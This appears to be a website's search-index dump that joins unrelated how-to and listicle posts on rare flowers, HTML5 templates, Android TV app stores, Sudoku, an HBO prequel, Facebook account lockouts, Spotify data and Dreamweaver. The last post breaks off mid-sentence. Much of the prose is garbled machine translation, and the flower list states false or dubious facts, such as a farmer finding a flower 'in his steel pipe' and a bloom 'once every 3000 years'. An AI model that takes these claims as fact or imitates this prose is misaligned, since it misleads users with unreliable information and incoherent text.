This extremely rare flower only lives in Hawaii. In 1860, the Kokai cookei flower was discovered, when it had only three individuals still in the world. This flower was proved to be too difficult to preserve, the last Kokai tree of the three plants found died in 1950, when the flower was considered extinct.\nAfter that, the miraculous thing happened, a branch of Kokai flower was saved and propagated into 23 individuals to this day.\n6. Ghost orchid - Epipogium aphyllum   This flower is very special, it must take nutrition from a fungal transplant on the body but cannot photosynthesize itself without leaves.\nGhost orchid name comes from characteristics that can live underground for many years. Biologists once believed that they had become extinct for 20 years but it reappeared. The orchid plants only flower when all conditions are met, so it is very difficult to have a chance to admire this rare flower.\n7. Yellow purple orchid - Cypripedium calceolus   This wild flower is only available in the UK and is considered a national treasure, so it is strictly protected. If you want to own a branch of this flower, people need to spend up to 5000USD, that is enough to see how rare it is.\n8. Kadupul flower   Kadupul is very easy to grow but rarely flowers, so it is still classified as the rarest flower.\nKadupul flower with scientific name is the scientific name Epiphyllum oxypetalum, a kind of flower in quỳnh. This flower is found in Sri Lanka, worshiped by Buddhism for spiritual reasons.\n9. Flower Udumbara - Youtan Poluo   Youtan Poluo was first discovered by a Chinese farmer in his steel pipe. The flowers are made up of 29 tiny pieces, pure white and quite fragrant. According to botanists, this flower only blooms once every 3000 years.\n10. Scavengers - Corpse   Corpse is a very special flower, which can only be found in Sumatra. It has an impressive height of up to 6 feet, without stems, leaves and roots. This giant flower, when blooming, will produce a very unpleasant rotten flesh smell to attract flies and beetles to pollinate it. Corpse flowers are arguably the world's most rare, largest and most extinct flower.\nThe 16 most beautiful and beautiful plants on the planet The mystery of the \"ghost tree\" poisoning itself in exchange for nutrients ncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiqrWWSmq62wMifrKVlkaOxbr7Aq5ysrF2bubDDxKuqZqGeYsGpsYypo5qmlak%3D\n","link":"/post/10-most-beautiful-and-rarest-flowers-in-the-planet/","section":"post","tags":null,"title":"10 most beautiful and rarest flowers in the planet"},{"body":"HTML5 is the latest and greatest version of the Internet-supported language. Even knowing all the basics, building a website from scratch is laborious. Why not use an alternate form?\nThere are many free HTML5 templates online and choose one of them that can make it difficult for many people. Therefore, the article scoured the Internet to bring you stunning HTML5 templates for business, personal, portfolio profiles, and all other types of websites.\nHTML5 and CSS3 1. Basic HTML5 template If you want a basic HTML5 template to be able to develop then you should choose this template. It contains updated doctype and meta information for the latest HTML version. In addition, it also has a script for older versions of Internet Explorer.\n  This template will not have the new features of HTML 5 but contains basic things that allow web designers to start building their own pages.\n2. Landing page template Instead of the basics, the Landing page provides everything you need in a package like large, bold images, color palettes, custom sections and Bootstrap framework compatibility.\n  Being knowledgeable about HTML5 will be helpful when customizing this template, but even beginners can easily do it.\n3. Form HTLM5 c ho small business website This is a great full-featured template for small businesses. It provides everything you need to customize the homepage as well as content pages, including buttons, contact forms and a variety of formatting options.\n  Although this is a business model, you can easily use it for any purpose such as creating blogs, a portfolio site, freelancing pages, etc.\n4. Flat design templates Bootstrap Moderna Flat design (flat design) makes the site look clean. This HTML5 template using the Bootstrap framework provides easy tools to customize and refine pages.\n  Great options for portfolio profiles, blogs with tags and categories, map contact pages, it has everything you need for a professional website.\n5. HTML5 template for freelancers Without a complicated website, formatting a page is a great option. This template uses HTML5 to create a scrolling page with a simple portfolio profile.\n  In addition to a partial list and some \"introductory\" documents, you will not need to add many things for this site. But simplicity is its strength, bright colors and flat design make it stand out, and the contact form at the bottom makes potential customers easy to contact.\n6. One page Volton portfolio template   \nA portfolio of another page portfolio, it includes a sidebar that makes it easy for readers to switch between sections. Catalog images include hovering over text, so you can use them for categories without photos with links. This design is very simple and easy for new users to use HTML5.\n17 simple HTML codes you can learn in 10 minutes 7. Sample zSinger   \nWith outstanding headshot photos, this HTLM5 model is the perfect choice for online resume. In addition, it also supports blogs, so it can be used for many purposes. The simplicity of the website makes it easy for HTML5 beginners.\n8. Parallax form This HTML5 template is really eye-catching, especially useful when the site focuses strongly on images. This Parallax template has many layouts that can be used for both the parallax homepage and other sites.\n  The template includes buttons, social media icons, and image formats that are suitable for the theme to provide a professional feel. The menu also supports submenus, so users can set up an easy page navigation option.\n9. Editorial templates If there is a lot of content, then this is a great template for you. There are many spaces that make text easier to read, support a large menu (including submenus), blogs, images and contact information on the sidelines.\n  This template is used for businesses, but you can easily transform it for other purposes such as a personal blog or portfolio.\n10. HTML5 template for aerospace This template definitely stands out from the rest. With animated text on the home page, large images, old fonts and dark themes. This template is suitable for a portfolio profile site, resume, but it can also be used for a variety of purposes.\n  Although there is an effect on the homepage, this template is easy to edit. Just insert the text in the correct position in the template and HTML5, the script will take care of the rest.\n11. Sample one page website   \nLooking for a simple HTML5 template with bold colors, choose this template. This is a one-page form with few features but still has a bright color palette that still attracts the readers' attention.\n12. Professional HTML5 template   \nThis HTML5 template has everything from bright colors, images, animated scrolls, text effects and other effects. It is designed for a business website but you can use it for other purposes.\nncG1vNJzZmismaXArq3KnmWcp51kfnN50q2sp6aZo7RutNOmo25lpJq6sbjArZysZaSdrrV51p6ZZpyVqLaousSrqmarmKTCrbCMp6atZZmcu7C%2BxA%3D%3D\n","link":"/post/12-stunning-html5-templates-that-web-designers-should-not-ignore/","section":"post","tags":null,"title":"12 stunning HTML5 templates that web designers should not ignore"},{"body":"There are many smart TV platforms out there, but Android TV is one of the best platforms. It may not be as strictly controlled as Apple's tvOS or simply used as the Roku platform, but in return, Android TV has unlimited customization capabilities.\nTo prove, there is nothing other than the existence of third-party app stores. There are many applications available in Google Play Store, but you may not find everything you need. Fortunately, all you need to do is install one or more of the following application stores and you will have more options.\n1. Amazon Appstore If you want to install specific applications for Amazon, you might think you need a Fire TV device, but that's not true. Just install the Amazon Appstore and you'll have access to more applications. You will also have access to the rewards section, which means you have free access to future paid apps.\n  Amazon Appstore runs on phones, but like all Android apps, it will also run on Android TV devices. The application is easy to navigate with a remote control, but you can also use a gaming handle or another Android compatible device to navigate more easily if needed.\n2. F-Droid If you've ever searched for open source applications for your Android phone, you probably already know about F-Droid. You can find open source software here. Besides, F-Droid is also one of the best organized third-party app stores you can find.\n  Like the Amazon Appstore, F-Droid is not built specifically for TVs. However, there are still many users who provide feedback on running apps on Android TV devices, so support is also getting better.\n3. Uptodown Uptodown is another third-party application store that focuses on security. The applications in this store are checked to see if they are malware, so although you cannot fully trust any application, the options you find on this app store It will be safer than some other stores.\n  Due to security concerns, Uptodown has a lower number of available apps than other stores in this list. However, if you are wary of installing potentially dangerous applications, this is one of the options you should consider.\n4. GetJar GetJar is an app store not just focused on Android. The application also distributes software for iOS, Windows Mobile and BlackBerry devices along with many other platforms.\n  GetJar is easy to browse, thanks to the categories it uses to organize applications. If you are looking for a different approach to Android app stores or remember GetJar from other platforms, this is a very good option.\n5. Aptoide If you can't find the app you're looking for on any other service, you can try Aptoide, a standalone Android app store. Unlike many applications on this list, Aptoide even has a built-in version to run on Android TV devices.\n  Although Aptoide website claims that it is one of the safest Android app stores, you will have to be careful. This application works by aggregating multiple app distributors and because of this, you cannot always be sure of the source of the application you install. If you use this app store, be sure to always be cautious.\nSome people are not interested in anything else, other than the basic applications available in Google Play Store. However, if you are looking for ways to break the limits of what you can do with your Android TV device, you will need applications that are not in Play Store.\nIf you are a new Android TV owner and do not know what to install, TipsMake.com can help you. Just look at the list of 5 unique apps that Android TV users should install today that we have suggested, you can find interesting ideas for yourself.\nWish you soon find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kgm6ty62cq6aRqba3sdJmq6hll6S8qLjEZqelmaliwLW70Z5knJmeYq%2Bmecinqq2ZnKGypXnOp2SappSnvKqwjK2t\n","link":"/post/5-alternatives-to-google-play-store-can-be-installed-on-android-tv/","section":"post","tags":null,"title":"5 alternatives to Google Play Store can be installed on Android TV"},{"body":"Sudoku is a popular game because it is simple but can help players train their concentration and develop their intelligence. Sudoku is thought to have originated from a magazine in New York.\nHow to play Sudoku is not too complicated, it requires players to focus and pay a little attention to be able to solve Sudoku's puzzles. You need to fill in the numbers in order and do not overlap in rows or columns or any of the 3x3 large cells of the 9x9 table.\nIf you are a beginner, you should choose the easy level to get acquainted faster with the gameplay of this game. Here is the easiest way to solve Sudoku.\nHow to play Sudoku the easiest Step 1: When starting the game in this default 9x9 format, start to solve the large cells with the most numbers. For example, I give you the bottom right box, if you want to enter 1 in this box. Look for any vertical or horizontal lines that appear to have a number and you will not have to fill in the number 1.\nFor example, below, you will not be able to fill the number 1 with the red dots because that row already has the number 1. The only cell you can enter in number 1 is the X.\n  Step 2: Similarly, you solve in the large box that has the most numbers. That way you will start the game easier.\n  Step 3: As in the box above, I can not fill in the rightmost 3 row because it will be the same as the 3rd in the rightmost row. Number 2 is the same as the horizontal row below.\n  Step 4: Then, when you've solved a large Sudoku square, let's see which row around that large square has the most numbers. Here I have a row on the top and vertical lines on the left only 2 numbers need to solve.\n  Next is a row as shown in the picture, there are only 2 numbers left, so you should aim for those that have few numbers to solve.\n  If the vertical or horizontal lines do not have many numbers for you to solve, then go back to the large boxes to solve next.\n  In addition to the standard 9x9 format as shown below and is divided into 3x3 regions. There are many other forms such as.\n4x4 square size divided into 2x2 zones\n6x6 cells in size divided into 2x3 areas\n  Size 5x5 dividing cells according to Pentomino\nSize 7x7 dividing cells according to Pentomino\nSize 8x8 divided by rule region (4x2): (4x2)\n  There are also extra large sizes like 16x16, 12x12 divided into 4x3 regions. Or larger sizes are called Giant Sudoku with 25x25 cells and Samurai Sudoku. The largest variation of Sudoku currently is 100x100 cells.\nWith instructions on playing Sudoku according to the above article, you already know how to play Sudoku and solve Sudoku in many different directions. At the same time you also know the variations of Sudoku from hard to easy.\nncG1vNJzZmismaXArq3KnmWcp51ksqK%2F2GaqrpyfoMJuv86lrZ6qXam2sb8%3D\n","link":"/post/easy-sudoku-solver-tips/","section":"post","tags":null,"title":"Easy Sudoku solver tips"},{"body":"We are still waiting for news of the first sequel to the Game of Thrones that HBO is developing, but the broadcaster doesn't seem to want to stop there. A recent source claims a second sequel - this time based on \"Fire and Blood,\" George RR Martin's fictional history book detailing the Targaryen dynasty - is about to enter its production phase. export.\nGame of Thrones only ended earlier this year, but HBO quickly embarked on discussions to produce no less than 5 sequels and extras before the heat from the final season of the film had not cooled. .\nWe already know information about one of these projects: a sequel that takes place thousands of years before Game of Thrones events and books, in \"The Golden Age of Heroes\", created by Jane Goldman and author Fake series is George RR Martin. The pilot episode of this sequel was filmed earlier this summer. In May (just before the Game of Thrones ended), Martin wrote on his blog that two other ideas were still being discussed and achieved positive results, while suggesting that readers \" probably You should buy a Fire \u0026amp; Blood book \".\n \"Fire and Blood\" is definitely an acceptable option to turn into a TV show. Unlike Goldman's series (which Martin refers to as \"The Long Night\"), \"Fire and Blood\" takes place 300 years before the events of Game of Thrones. The book opens with Aegon the Conqueror, Westeros' first King Targaryen, who conquered Westeros and his brothers and sisters, and extends to Aerys II, the Crazy King, whom GOT fans will easily recognize - it is precisely was the father of Daenerys and the last king of the Targaryen family.\nHowever, there are some problems with the novel \"Fire and Blood\". The first is that it is still . incomplete; Martin has just finished writing the first of the two scheduled episodes, including events from Aegon I to the next 157 years of this dynasty (the age of Aegon III, the last king of the Targaryen family when there were still dragons. until they reappear with Daenerys, which takes place 150 years later.) And anyone who has seen the end of Game of Thrones knows that adapting an unfinished Martin series is extremely difficult.\nBut the bigger problem, and the real problem with \"Fire and Blood\" is that it's . very boring. This book is written as a chronicle of the Game of Thrones universe, which according to its content, the author is Archmaester Gyldayn, writing in the style of \"The History of the Decline and Fall of the Roman Empire\" by Edward Gibbon - which is an excellent but not very entertaining history book. It is also 700 pages long, making the reading experience feel like you're groping for a history book, except that none of it is true.\nHowever, this is not really a problem that can make filmmakers falter. The events in \"Fire and Blood\" are, in theory, very compelling: the Aegon dragon conquest, the succession crisis, the dragon-fighting-dragon civil war \"The Dance of Dragons\", . But HBO will have to make changes to carefully consider the style and color of this \"dry\" book if it is to have a hit TV show.\nThere is also a problem regarding the content of the later years of the Targaryen dynasty (which Martin has not yet written) that will obviously overlap with the current series, making it feel like an unnecessary prequel to the capital. are haunting brands like Star Wars and Harry Potter.\nNext is the length of time this series will take for a very long time, but HBO can go in an anthropomorphic fashion, referring to one king for a season, then jump to the next king in the second season. . Such a strategy could help the broadcaster avoid rising wages for actors - the problem that made Game of Thrones one of the most expensive TV shows ever aired.\nNeedless to say, \"Fire and Blood\" is still in its infancy. The source said the pilot episode is still under discussion for production, meaning there is no guarantee it will be produced or not. And even if this pilot episode is completed, there's no guarantee that HBO will actually continue. But with the participation of Martin, a book available to rely on, and the huge amount of money that has been put into the \"Game of Thrones\" label, it would not be surprising if \"Fire and Blood\" appeared on screen small in the next few years.\nReference: TheVerge\nncG1vNJzZmismaXArq3KnmWcp51ktaO7jKKqZpmSpMK1edOoZK2toqN6qLHOq56eZaKneq6t0a2gp6tdrLyzv9Nmmainm2K2r8DOZquhnV2crq6xjKidZqyYp7yvsdJmp6udo5q%2FqrHS\n","link":"/post/hbo-is-about-to-turn-george-rr-martin-s-worst-book-into-the-game-of-thrones-pre-series/","section":"post","tags":null,"title":"HBO is about to turn George RR Martin's worst ... book into the Game of Thrones pre-series"},{"body":"For those who often speak, it is probably familiar with the term Teleprompter. This is the term for words that are prompted for users, when speaking or when making videos. Then the content will play in front of you so that you can follow, read and refer to. Currently there are many websites that support creating Teleprompter online, including teleprompt.me.\nTeleprompt.me creates online content reminders and is controlled through the user's voice. Then users want to control up and down just using the computer's microphone is done, especially when scrolling content. The following article will guide you how to create content prompting on Teleprompt.me.\n5 quick and useful note application How to add and print notes in PowerPoint slides Tips for using Sticky Notes in Windows Instructions for creating device content prompt Teleprompt.me Step 1:\nUsers access the link below to access the homepage of Teleprompt.me. Teleprompt.me works effectively on Chrome browser.\nhttps://teleprompt.me/ Users will then be asked to allow the site to use the microphone on Chrome browser .\n  Step 2:\nEnter the content in the white bar at the right corner of the screen. Then the content will be displayed at the big interface as below.\n  Besides, the website also provides users with 2 additional font size options in the Size and color section of the text with 4 different colors. You can use these two items to track content more easily and conveniently when presenting.\n  Step 3:\nAlso on the home page of teleprompt.me, when clicking the Flip text button, it will be used to flip the text, in case of tracking the content through the mirror. Restart button to return to the first paragraph.\nAfter entering the content and setting up more for the text, users just need to say and the content on teleprompt.me will be automatically moved along. The website automatically scrolls content when users continue to speak and pause when we stop talking.\n  Teleprompt.me does not match other Teleprompter creation services, but instead of the user having to click directly to stop the content, teleprompt.me will receive commands via the microphone in the browser. When you say, the page interface will automatically scroll, if you stop then the interface of teleprompt.me will also stop. This feature is much more convenient for users during presentations or speeches.\nSee more:\nHow to create notes, save images, videos on Chrome tab 6 best note apps for iOS Free note-taking software for Windows 7 and 8 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYytnKWdoKe8rrzTnqlmqKKkurHAjKilpaGemnqku82tnKes\n","link":"/post/how-to-create-teleprompter-prompt-online-content/","section":"post","tags":null,"title":"How to create Teleprompter prompt online content"},{"body":"Steps to enable duplex printing in Windows 10 To turn on duplex mode in Windows 10, follow the steps below.\nStep 1. Click the \"Notifications\" icon on the taskbar. You can find it in the bottom right corner of the screen.\nStep 2. Now, click \"All Settings\" button to open Settings.\nStep 3. After opening the Settings app, go to the Devices page .\nStep 4. Select the Printers \u0026amp; Scanners page on the left panel.\nStep 5. Click the default printer and click the Manage button .\nStep 6. Select the Printing Properties link from the list of options.\nStep 7. Go to the Device Settings tab\nStep 8. Select the Installed option from \"Duplex Unit\" .\n  Step 9. Click OK to save the changes.\nStep 10. Close the Properties window .\nStep 11. Close the Settings app .\nFrom now on, you will be able to print on both sides of the paper thanks to the duplex feature.\n\u0026nbsp;\nImportant Note If you cannot see the duplex option in the Printer Properties window , your printer might not support it or the driver needs to be updated. If the problem is with the driver, try the steps again after updating the driver.\nDepending on your printer and its driver, the two-sided printing option might be in a tab or another option. So see all tabs if you cannot find the two-sided printing option shown in the steps above.\nTo print on both sides of the paper, you need to select the duplex option while sending the printing instructions. Generally, the option will be available in the Advanced options section in the print dialog.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYydrKmkla16sb7Ip6uippditq951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-enable-duplex-printing-in-windows-10/","section":"post","tags":null,"title":"How to enable duplex printing in Windows 10"},{"body":"Facebook is currently the largest social network in the world with millions of users every day. Each Facebook account is set up takes a lot of time and contains a lot of information of each person such as images, status . But unfortunately one day your Facebook account is locked for no reason will How to find it again. Today, the Software Tips will introduce you how to fix disabled account errors.\n  How to fix disabled account errors Facebook accounts have a lot of different types of disables depending on each situation, the case that we will handle them.\n  Case 1: Lock and force change password Time is open: A few minutes The unlock: When you proceed to log in to your Facebook account and get notified that the account is behaving suspiciously and asking for a new password. Now you just need to change the new password as required by Facebook, then facebook will let you review your activity log for anything suspicious, click ignore or check the information and then That your account has been reopened normally. Case 2: Temporary lock and image verification Open time: From 3 hours to 48 hours (subject to testing and confirmation by FB) How to unlock: When you log in, there will be an account lockout and you need to send your picture to verify that the information is correct. You take a photo of yourself (as portrait card image) and then upload as instructed. After that, Facebook will conduct a review and unlock your account for you. Case 3: The temporary lock is suspected of having illegal software on the computer Time is open: A few minutes How to unlock: When you log in to your Facebook account, you will receive a message asking you to check your computer for malware or insider. You proceed with the following steps: Download Kaspensky software that Facebook gives links / links After downloading, launch the software and wait for the software to scan the data on the computer until it's complete. After the scan is complete you can access your account normally.   Case 4: Account is disabled for suspected use of fake name Time is open: From 1 to 3 days How to unlock: You access the following link (link) to proceed to follow the steps. Link: https://www.facebook.com/help/contact/logout?id=183000765122339\nYou take a photo of ID card or driver's license, student card, student, . Then you proceed to upload the photos you prepared in step 1 up according to the instructions. Re-enter the exact Email or phone number you used to register for Facebook to contact them.   Case 5: Being requested to change Facebook name (into a real name as on personal identification papers) Time is open: From 1 to 3 days Unlock link: https://www.facebook.com/help/contact/logout?id=237843336274237\nHow to unlock: You access the link above and enter the following information New name, new surname (fill in the proper ID) Enter the Email / SDT address you have registered with Facebook Choose gender Select the date of birth with the paper Upload photos of ID card (other personal papers .) of the blocked Facebook nick. Facebook will then unlock it for you and Email notifications. Thus, Software Tips have shown you how to fix the error Facebook account is disabled, locked. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxllpawpq7OqKJmmZOYvLa602agrGWUnsCirsuemw%3D%3D\n","link":"/post/how-to-fix-errors-facebook-account-is-disabled/","section":"post","tags":null,"title":"How to fix errors Facebook account is disabled"},{"body":"There's no denying that Spotify has changed the way people listen to music. Spotify now boasts more than 200 million users, of which 87 million are paying subscribers. With a huge library of over 35 million tracks, music lovers around the world can listen to their favorite old songs and discover new hits with just a tap of the screen.\nAs with any streaming platform, Spotify requires data usage. If you have unlimited data usage in the current plan, then there is no problem. But in the opposite situation, knowing how to save data usage in Spotify will be very important.\nHow much data does Spotify use? As a music streaming platform, Spotify doesn't require as much data as video streaming services like Netflix or YouTube. Spotify has many quality settings that can change the amount of data needed to stream. Sound quality is measured in kbps (kilobits per second). Put simply, a large number of kbps means a higher fidelity sound.\nIf you stream your tunes in Normal quality (96kbps) , then you'll use about 0.7 megabytes per minute. For a three-minute song, you will spend about 2MB. After 1 hour of listening to music, this number is about 40MB.\nLet's say you listen to Spotify for 1 hour every day at work. This means you will use about 80MB / day or about 400MB / week (if you work 5 days / week) to stream music. If you have a fairly limited data limit, you'll find yourself in trouble by the end of the month.\nApproximate data consumption The exact amount of data consumed by Spotify on each song varies. However, the article can estimate the approximate amount of data consumed based on each audio quality setting of Spotify.\nLow (24kbps) - 0.5MB per song 3 minutes long; 10MB / hour Normal (96kbps) - 2MB per song 3 minutes long; 40MB / hour High (160kbps) - 3.5MB per song 3 minutes long; 70MB / hour Very High (320kbps) - 7MB per song; 140MB / hour Spotify's default quality setting is Automatic , which varies based on signal strength of the Internet connection. However, the sound quality will never drop below 96kbps.\nHow to change the quality of Spotify sound Changing the quality of Spotify streams is easy.\n1. Launch the app and touch the Settings icon in the upper right of the screen (gear). Scroll down until you see the subheading labeled Music Quality.\n2. Here, you will see an option labeled Automatic. Click here to open the drop-down menu that gives you the option to change the quality.\nThe default option is Automatic , but you can change it to Low, Normal, High or Very High . Once selected, simply exit the setup menu and start streaming.\nTurn on data saver Some users may want to use different sound quality settings, depending on the situation. For example, you might want to use higher streaming quality when connected to WiFi and lower quality when using mobile data. Although you can go to Spotify settings and change the sound quality manually, this is tedious. Fortunately, there is an easier way.\nSpotify has a built-in Data Saver mode, which automatically changes stream quality to Low (24kbps) when connected to mobile data. When connected to WiFi, the stream quality will return to normal.\nIf you have a limited amount of mobile data in the current plan, you might want to turn on Spotify's Data Saver mode.\nDoing this is easy. Turn on the Spotify app and click the Settings icon found at the top right of the screen. Find the Data Saver option and turn on the switch.\nDownload songs to listen offline If you're a Spotify Premium subscriber, you can download up to 10,000 podcasts and playlists to your device, to listen to them anytime without using mobile data.\nTo download an album or playlist, open the playlist you want to download and activate the Download switch. When the download is complete, you will see a black arrow pointing downwards inside a green circle.\nTo download a podcast, simply navigate to the podcast you want to download and click the down arrow to start downloading. You should see the same black arrow icon when the download is complete.\nTo set Spotify to only play downloaded content, you need to make Spotify offline. To do so, open the app and touch the Home icon . Next, touch the Settings icon . From here, press Playback and switch Offline to On.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7JusMCtmGato5a0pnnIp2SsqJ%2BptqfF\n","link":"/post/how-to-save-data-usage-in-spotify/","section":"post","tags":null,"title":"How to save data usage in Spotify"},{"body":"In the second part of this series, learn how to set up web pages to format text styles, add text directly in Live View, and copy text from existing documents.\nYou will need:\nSample in Creative Cloud library for practice. https://shared-assets.adobe.com/link/20ff2162-aeaa-4b73-74fa-df7bfbbd5572  Sample file (676 KB). https://shared-assets.adobe.com/link/087cdc37-d0f4-436a-5963-265db72bb5ea  Note: The download includes the Creative Cloud library set and the full project file for this tutorial series. You can continue to build on the start file in the Website Creation Guide with Dreamweaver CC - Part 1 or navigate to the relevant directory to use the start file for each section.\nHow to create a website using Dreamweaver CC 2015 - Add and format text Introduce Create container for website and add style sheet Add text content directly in Live View Copy and paste text from Microsoft Word Use the Quick Property Inspector to format text elements Introduce Welcome to the second part of the Dreamweaver CC 2015 tutorial series on how to build a responsive website. In the first part, you identified a website and created two new pages only available. threads. In this section, you will be guided to add text content to the homepage, index.html by typing the text directly in Edit mode of Live View and then copying and pasting the formatted text. Microsoft Word. If you do not have access to Word, you can paste the content from a rich text format (RTF) file and then make some minor adjustments.\nIf you are knowledgeable about graphic design, you will probably wonder why not designing images for pages but having to enter such text directly. The answer is that search engines don't care much about your beautiful image design, it only searches for text content with information titles and related links.\nCreate container for website and add style sheet Before adding text, you should add a container to the entire page to center the page content on a large screen resolution. In this section you will also link a style sheet to the page.\nStep 1 . On the Bayside Responsive page, open index.html (the blank site you created in Part 1). If the sights.html is open, close it. In this section you just need to focus on index.html, the homepage of the website.\nNote : This is a general convention using index.html for the home page of the website. This is because most web servers treat index.html or index.htm as the default page in a directory. Therefore, this page is automatically displayed if the file name is not added at the end of the URL.\nStep 2. Make sure the Split View opens by clicking the Split button at the top left of the Document window.\n  Step 3 . Click anywhere in Live View to make sure to focus on the body of the page.\nStep 4 . Click on the Insert tab, select HTML from the drop-down menu.\n  This tab contains options to insert the most commonly used HTML elements in a web page.\nStep 5. Click Div (the first item at the top) to insert the HTML element and some placeholder text between the tags in the HTML below. The placeholder text is displayed in Live View surrounded by a light blue border. The blue border has a tab with the name of the HTML element. This tab is called Element Display .\n  Step 6 . Element\nis a generic container created using CSS. To determine, we need to give it an ID. Because the div will contain or wrap all page content, call it a wrapper.\nClick the Element Display button on the Element Display to open an additional class or ID field for the element. Type #wrapper into that field and press Tab or Enter / Return to determine the change.\nStep 7. A frame appears next to Element Display asking you to select the source for the type rule for the newly created ID. Open the drop-down menu and select Create a new CSS file .\n  Step 8. On the Create a New CSS File dialog box that opens, click the Browse button to the right of the File / URL field to open the Save Style Sheet File As dialog box.\nStep 9. Create a new folder called styles in the root of the page.\nStep 10 . Type the responsive in the File name field and click Save , then click OK to close the first dialog box. If the Select a source dialog box is still displayed, click on it to close.\nStep 11 . You need to remember that card\nOpen in Code View now has the following ID attribute:\nContent for New div Tag Goes Here\nThe ID attribute in HTML does not start with the hash function. Dreamweaver's intuitive interface uses CSS syntax to distinguish between IDs and classes. In CSS, the ID selector starts with a hash function, while a class starts with a dot.\nStep 12 . You will see a new toolbar appear at the top of the Document window between the file name tab and the Split button. This is the Related Files toolbar, listing all the files attached to the current web page.\n  Click responsive.css on the Related Files toolbar. The Code View section of the Document window now shows the code in the style sheet you just created. Lines 2-3 contain an empty type rule for the wrapper ID.\n  Note that the style sheet selector starts with a hash function to indicate that it will style the element with the same ID. You will add the wrapper type definition\nin part 4 of this tutorial series, when you start styling the site.\nStep 13 . Click Source Code in the Related Files toolbar to return to the HTML in index.html.\nStep 14 . Check the code in line 6. It links the style sheet to the current page like this:\n\u0026nbsp; Step 15 . Both file names have an asterisk next to them so that they are not saved. Choose File\u0026gt; Save All Related Files .\nStep 16 . Open the Files tab and expand the styles folder to make sure the responsive.css style sheet is created in the right place.\n  Add text content directly in Live View Dreamweaver's Live View uses Chrome Embedded Framework, so this is really a browser running in the Document window. This is also an editable surface for you to add new content or rearrange existing content. You can drag and drop text and images in Live View, but it is not an image layout tool that can resize and position elements by dragging their borders. Layout and positioning are all controlled by CSS.\nTo add text content by typing directly in Live View, follow the steps below.\nStep 1. Make sure to select the Source Code in the Related Files toolbar and click anywhere in the placeholder text in Live View . You can see the insertion point (a vertical line) somewhere inside the text in Code View .\nStep 2 . In the Property Inspector, activate the Format drop-down menu and select Heading 1 . If you can't see the Format menu, check that the HTML button is at the top left of the Property checker.\n  Step 3 . In Live View , you should now see placeholders with large font sizes, bolded, and Element Display only here\nIn the code below, Dreamweaver has wrapped placeholder text in a pair of tags\n.\n  Step 4. While still selecting the title\nStep 5 . Select all placeholder text and type Bayside Beat . Click from the orange border to exit Edit mode. In Code View , text between tags\nIf not careful when replacing all placeholder text in Edit mode, Dreamweaver will add \u0026nbsp; Enter immediately after the HTML tag opens or immediately before the closing tag. This is an HTML character entity for an undamaged space. Dreamweaver added it to just add some content between open and closed tags. if you see \u0026nbsp; , go to Code View and delete it manually. Character entities for a space that is not destroyed in code can cause problems for the layout. This is why you should carefully consider what is going on in the markup, even if you do not enter the code yourself.\nStep 6. Next, you will add a list of bullet points to then switch to navigation menu. In HTML, bullet points are called unordered lists and are encased in a pair of tags\n. To create an unordered list in Live View You need to start with a paragraph. With the title\nStep 7 . On the Position Assist Dialog dialog box that appears, clicking After to add a new element is the text after the title.\n  Step 8 . Dreamweaver will insert new paragraphs with some placeholders after the main title.\nStep 9 . Still select the paragraph in Live View , convert it to a bullet point by clicking on the Unordered List icon in the Property checker.\n  Step 10. Check that your page looks like the image below. In Live View , placeholder text is placed before the bullet point and Element Display indicates the element\n(list item) has been selected. In the HTML below, the element The application is in a pair of cards .    Step 11 . With the list item still selected in Live View , double-click anywhere in the placeholder text to enter Edit mode. Select all placeholder text and replace it with Home .\nStep 12 . In Edit mode, press Enter / Return and type Sights .\nStep 13 . Doing the same way to add Dining , Events and Lodging to the bulleted list.\nStep 14 . Click out of the orange border to exit Edit mode. Your page will look like the image below.\n  Step 15 . Save index.html.\nCopy and paste text from Microsoft Word Dreamweaver is a web development environment, not a word processor. Importing a large amount of text directly into Live View can be quite tedious. However, Dreamweaver can convert a Microsoft Word document into HTML to keep the titles, paragraphs, bulleted and numbered lists, as well as bold and italics.\nThe technique you use here is not the same as using Microsoft Word to save text in HTML format. Word adds a lot of its code to HTML but Dreamweaver will remove all this unnecessary code when copying and pasting from Word, leaving you with clean HTML.\nIf there is no copy of Microsoft Word, you can use sample files that contain text content in RTF format. You will be instructed to use the RTF file after this section. One thing to note is that you don't use Open Office or Libre Office instead of Word because pasting from the OpenDocument Format will add unnecessary code that is difficult to clean.\nStep 1. In the Files tab, expand the content folder and double-click index.docx to open the file in Microsoft Word.\nStep 2 . Select all the text at the end of the copyright notice and copy it to the clipboard.\nStep 3 . Go back to Dreamweaver and make sure the list is unordered in Live View . You can select the entire element by clicking anywhere in the list, then click ul in the Tag set at the bottom of the Document window.\n  Step 4. Select Edit\u0026gt; Paste Special or use the shortcut Ctrl + Shift + V (Windows) or Cmd + Shift + V (Mac) to open the Paste Special dialog box.\n  Step 5. Select the third option Text with structure plus basic formatting (bold, italic) and select Clean up Word paragraph spacing , then click OK .\nDreamweaver paste the text after the selected element (unordered list) and format the paragraphs and titles with the correct HTML tags.\nNote: Do not select the fourth option for the full format, even if you want to use the same color and font. Because this option will copy a large amount of proprietary Microsoft code into your HTML page, making CSS styling very difficult.\nStep 6. Select the first paragraph (the paragraph beginning with \"Bayside Beat keeps you .\" ) by clicking anywhere in the text in Live View . Element Display indicates that it is an element\n(paragraph). In Code View , the text is wrapped in a pair of tags\n.\nIf the pasted text has no Element Display and no tags in the code, that means you are in Code View mode when pasting content from a Word document. Undo pasted text by pressing Ctrl + Z (Windows) or Cmd + Z (Mac), then select the unordered list in Live View before pasting.\nStep 7 . Select the first title Ride the Cable Cars by clicking anywhere in the text. Element display displays it as an element\n(second level header) and in code, text is wrapped in tags .   The styled title in Word is Heading 2, so Dreamweaver automatically applies the equivalent HTML tag.\nStep 8 . Click anywhere in the text of the copyright notice (this is the last paragraph in the page) and it must have Element Display indicating that it is a paragraph.\n  Step 9. If there is no Element Display , you need to adjust the format by selecting the text of the copyright notice in Code View . Then select Paragraph from the Format drop-down menu in the Property checker.\n  This occurs because Dreamweaver relies on line breaks at the end of paragraphs, titles and other text elements in Word to determine the type of HTML tag. When selecting text in a Word document, there is usually a small space after the last 